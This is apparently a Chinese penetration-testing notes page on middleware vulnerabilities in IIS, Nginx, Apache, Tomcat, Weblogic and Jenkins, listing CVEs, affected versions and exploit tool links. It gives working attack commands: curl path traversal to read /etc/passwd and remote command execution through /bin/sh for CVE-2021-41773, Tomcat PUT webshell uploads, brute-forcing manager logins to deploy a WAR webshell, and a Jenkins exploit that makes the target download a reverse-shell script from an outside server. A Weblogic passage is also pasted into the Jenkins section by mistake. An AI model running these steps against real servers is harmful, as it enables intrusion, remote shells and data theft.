中间件安全

IIS

IIS短文件漏洞

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

利用工具

https://github.com/irsdl/IIS-ShortName-Scanner

https://github.com/lijiejie/IIS_shortname_Scanner

IIS文件解析漏洞

IIS 6 解析漏洞

  1. 该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析

  2. 该版本默认会将*.asp/目录下的所有文件当成Asp解析

    如:logo.asp;.jpg xx.asp/logo.jpg

IIS 7.x 解析漏洞

  1. 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
  2. 应用场景:配合文件上传获取Webshell

Nginx

DNS解析漏洞(cve-2021-23017)

受影响版本:0.6.18-1.20.0

**poc地址:**https://github.com/M507/CVE-2021-23017-PoC

复现失败

文件名逻辑漏洞(cve-2013-4547)

受影响版本:0.8.41 ~ 1.4.3 /1.5.0 ~ 1.5.7

\0也就是c语言的结束符的意思,之后我们的通过我们的\0将这个文件名截断成我们的fastcgi认为他到1.gif就结束了,之后对上传的文件进行检查,发现他没有以php结尾,就将这个文件上传上去,然后我们的php-fpm.conf的安全后缀策略(security.limit_extensions = )是空的,之后他就会执行我们上传的1.gif \0.php文件。

测试

测试

成功

解析漏洞(配置不当)

我们在配置php.ini的时候,开启了我们的自动修复路径(cgi.fix_pathinfo=1),也就是我们访问http://127.0.0.1/test.jpg/test.php,由于没有test.php这个文件我们服务器会自动到上一个路径,发现有test.jpg于是就自己执行了这个文件,但是由于我们在配置php-fpm.conf的安全后缀策略(security.limit_extensions = jpg php )为空或者就只有jpg和php,我们的服务就会执行jpg和php,我们的test.jpg里面就是我们的恶意的php代码,之后通过解析为php文件就导致了我们执行该文件,从而产生了我们的漏洞。

假如下图是上传了包含<?phpinfo();?>的图片

在后面添加/.php后缀,就会被解析为php

Apache

目录穿越&命令执行(cve-2021-41773)

版本影响:2.4.49、2.4.50

可见靶场的apache版本满足漏洞版本

目录穿越

curl -v --path-as-is http://ip:port/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

RCE

curl --data "echo;id" http://ip:port/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

文件解析(cve-2017-15715)

版本影响:2.4.0-2.4.29

上传成功

Tomcat

弱口令getshell

影响版本:全版本

弱口令部署war包getshell

点击【manager app】弹出后台登录框

抓包爆破

标记加密的位置

选择自定义迭代器

位置一填用户名

位置二填:

位置三填密码

payload处理选择base64加密

爆破成功

用户名:tomcat 密码:qwe123

登录成功

生成jsp一句话木马

将jsp木马zip压缩后更改后缀为war 生成war包

部署war包

链接成功

文件上传(cve-2017-12615)

影响版本:7.0.0-7.0.81

使用PUT方法请求 将木马放入数据内,即可上传

三种构造url方式:

PUT /x.jsp/

PUT /x.jsp%20

PUT /x.jsp::$DATA

前两种针对linux 第三种针对windows

返回201即是上传成功

文件包含(cve-2020-1938)

影响版本:6.* 、7.*<7.0.100、8.*<8.5.51、9.*<9.0.31

工具:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

读取WEB-INF/web.xml文件

Weblogic

默认端口:7001

weblogic由于有很多漏洞,所以直接梭哈

工具地址:https://github.com/KimJun1010/WeblogicTool

Jenkins

默认端口:8080

Jenkins-CI远程代码执行(cve-2017-1000353)

影响版本:Jenkins <= 2.56 Jenkins LTS <= 2.46.1

默认端口:7001

weblogic由于有很多漏洞,所以直接梭哈

工具地址:https://github.com/KimJun1010/WeblogicTool

再使用python的exp执行

shell反弹成功

远程命令执行(cve-2018-1000861)

影响版本:Jenkins <= 2.153 Jenkins LTS <= 2.138.3

工具下载:https://github.com/orangetw/awesome-jenkins-rce-2019

先将反弹shell的命令放在自己公网服务器上

python2 exp.py http://123.58.224.8:31731 "curl -o /tmp/1.sh http://117.72.120.22/qdy.txt"

可以看见qdy.txt文件被目标服务器请求了

执行反弹shell命令

成功接收shell

相关推荐
nnloveswc10 分钟前
PTE-中间件安全
安全
喵叔哟10 分钟前
【.NET 8 实战--孢子记账--从单体到微服务】--简易权限--访问权限中间件
微服务·中间件·.net
青锐CC12 分钟前
webman使用中间件验证指定的控制器及方法[青锐CC]
中间件·前端框架·php
冰水°24 分钟前
3.1_文件上传漏洞
安全·网络安全·文件上传·条件竞争·.htaccess·文件上传绕过
ZJ_.1 小时前
Electron 沙盒模式与预加载脚本:保障桌面应用安全的关键机制
开发语言·前端·javascript·vue.js·安全·electron·node.js
Wh1teR0se2 小时前
[ACTF2020 新生赛]Upload 1--详细解析
web安全·网络安全
星海幻影2 小时前
网络基础-超文本协议与内外网划分(超长版)
服务器·网络·安全
烬奇小云2 小时前
认识一下Unicorn
android·python·安全·系统安全
前端 贾公子2 小时前
Koa进阶:掌握中间件和参数校验的艺术
中间件